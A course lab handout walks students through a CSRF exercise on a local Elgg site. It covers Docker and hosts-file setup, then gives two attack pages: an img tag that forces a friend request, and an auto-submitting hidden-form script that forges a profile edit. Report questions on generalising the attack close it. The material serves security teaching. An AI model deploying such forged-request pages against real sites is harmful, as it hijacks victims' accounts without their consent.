LAB-9

Download Lab setup files from bright space.

Lab Setup

Open

$ sudo vim /etc/hosts

Go to XSS Lab section and set the domain address

Make sure it looks similar to below:

```
#For XSS Lab

10.9.0.5        www.seed-server.com

10.9.0.5        www.example32.com

10.9.0.105      www.attacker32.com
```

Comment other IP address 10.9.0.5, which are not part of XSS LAB

Next, Type

$ docker ps

If you find any active containers after the above command, then make sure you kill all the existing containers using the command given below.

$ docker kill CONTAINER_ID

(You can see the container id of each container when you typed **docker ps** command)

$ docker system prune

$ docker image prune

Execute the below commands in the lab setup folder where the **docker-compose.yml** file exists.

$ docker-compose build

$ docker-compose up

TASK-1

Open bright space and follow as it is.

Appendix A - Guidance

Using the "HTTP Header Live" add-on to Inspect HTTP Headers

Perform that task and **TAKE SCREENSHOT** that you have done.

TASK-2

1.

First, log in to **ALICE** account and

check -> http://www.seed-server.com/friends/alice

Alice's friend's list is empty.

TAKE SCREENSHOT

2.

Open **addfriend.html** file in **attacker** folder (Downloaded lab setup folder)

Paste this content in **addfriend.html** and **SAVE**

```
<html>

<body>

<img src="http://www.seed-server.com/action/friends/add?friend=59"
alt="image" width="1" height="1">

</body>

</html>
```

Open website - > **www.attacker32.com/index.html**

Click **Add-Friend Attack** button

3.

Now open http://www.seed-server.com/friends/alice

Samy will be in friends list.

TAKE SCREENSHOT

TASK-3

1.

Next, Login Alice profile and check the status.

Alice profile URL -> http://www.seed-server.com/profile/alice

Whereas status is empty.

TAKE SCREENSHOT

2.

Next, Open **editprofile.html** file in **attacker** folder (Downloaded lab setup folder) and change following code and **SAVE.**


```
<html>
<body>
<h1>This page forges an HTTP POST request.</h1>

<script type="text/javascript">

function forge_post()

{

var fields;

// The following are form entries need to be filled out by attackers.

// The entries are made hidden, so the victim won't be able to see them.

fields += "<input type='hidden' name='name' value='Alice'>";
```

```
fields += "<input type='hidden' name='briefdescription' value='Samy is my hero'>";

fields += "<input type='hidden' name='description' value='Samy is my hero'>";

fields += "<input type='hidden' name='accesslevel[briefdescription]' value='2'>";

fields += "<input type='hidden' name='guid' value='56'>";

// Create a <form> element.

var p = document.createElement("form");

// Construct the form

p.action = "http://www.seed-server.com/action/profile/edit";

p.innerHTML = fields;

p.method = "post";

// Append the form to the current page.

document.body.appendChild(p);

// Submit the form

p.submit();

}

// Invoke forge_post() after the page is loaded.

window.onload = function() { forge_post();}

</script>

</body>

</html>
```


3.

Open website - > www.attacker32.com/index.html

Click **Edit-Profile Attack** button

4.

Again Open Alice profile and check the status.

Alice profile URL -> http://www.seed-server.com/profile/alice

Whereas You can see the content **"Samy is my hero"** injected in source code in Alice's profile.

TAKE SCREENSHOT

Along with it, answer following questions 1, 2 present at the end of TASK-3 in LAB-10 Report.

Questions. In addition to describing your attack, you also need to answer the following questions in your report:

• **Question 1**: The forged HTTP request needs Alice's user id (guid) to work properly. If Boby targets Alice specifically, before the attack, he can find ways to get Alice's user id. Boby does not know Alice's Elgg password, so he cannot log into Alice's account to get the information. Please describe how Boby can solve this problem.

• **Question 2**: If Boby would like to launch the attack to anybody who visits his malicious web page. In this case, he does not know who is visiting the web page beforehand. Can he still launch the CSRF attack to modify the victim's Elgg profile?